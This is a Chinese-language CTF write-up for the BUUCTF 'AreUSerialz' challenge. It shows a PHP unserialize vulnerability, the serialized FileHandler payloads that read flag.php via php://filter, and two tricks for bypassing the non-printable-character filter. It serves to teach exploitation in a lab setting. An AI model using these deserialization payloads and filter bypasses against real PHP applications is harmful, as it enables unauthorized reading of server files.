【BUUCTF】AreUSerialz （反序列化）
题目来源
收录于：BUUCTF 网鼎杯 2020 青龙组
题目描述
根据PHP代码进行反序列化
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
题解
此题解题思路较为清晰，反序列化时依次调用的函数为：
__destruct() ==> process() ==> read()
在read()中的file_get_contents()中得到我们要读的文件。
这里直接给出构造的类
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;
这里由于存在不可打印的字符，且不可随意丢弃，因此我们需要对序列化后的字符串进行URL编码。编码后得到$s的值为
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
对于一般的题目，到这里就能得到flag了，但是该题目中还有函数is_valid()，用于检测传递的字符串中是否有不可打印的字符。
由于类中有protected的属性，因此我们序列化后的字符串中会有不可打印字符%00，这道题的难点就在这里。
这里有两种方式可以进行绕过
方式一
当PHP版本 >= 7.2 时，反序列化对访问类别不敏感。
即可以直接将protected改为public，即可避免出现不可打印的字符，同时可以成功反序列化。
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
echo(urlencode(serialize($o)));
传入打印的字符串即可得到base64编码的flag
方式二
此方法并不改变变量的保护类型。
当我们向浏览器传递%00时，浏览器会对其进行URL解码，解析为ascii值为0的单个字符。
当我们向浏览器传递\00时，浏览器不会将其解析为单个字符。
下面用代码进行验证：
<?php
function is_valid($s) {
echo "str_length="; //输出字符串长度
echo strlen($s);
echo "<br>ASCII(str): ";
for($i = 0; $i < strlen($s); $i++){
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
echo "invalid!!!";
return false;
}
echo ord($s[$i]); //输出每个字符的ASCII
echo " ";
}
return true;
}
$str = (string)$_GET['str'];
is_valid($str);
?>
因此我们将%00替换为\00，就可以绕开ord()的判断。但是这样一来，反序列化时\00将无法正确解析为单个字符。
我们知道序列化后的字符串中，用 s 表示字符串，用 i 表示整数。此外， S 用于表示十六进制的字符串。
于是，将表示字符串的 s 替换为表示十六进制字符的 S，即可完成绕过。
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;
将红框内的小写 s 替换为大写 S，得到的payload为
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D
总结
当遇到不可打印字符被过滤时，有两种方法：
-
PHP版本>=7.2时，可将protected直接修改为public
-
将序列化后的字符串中的
%00修改为\00，并将保护类型为protected的变量的变量类型由s改为S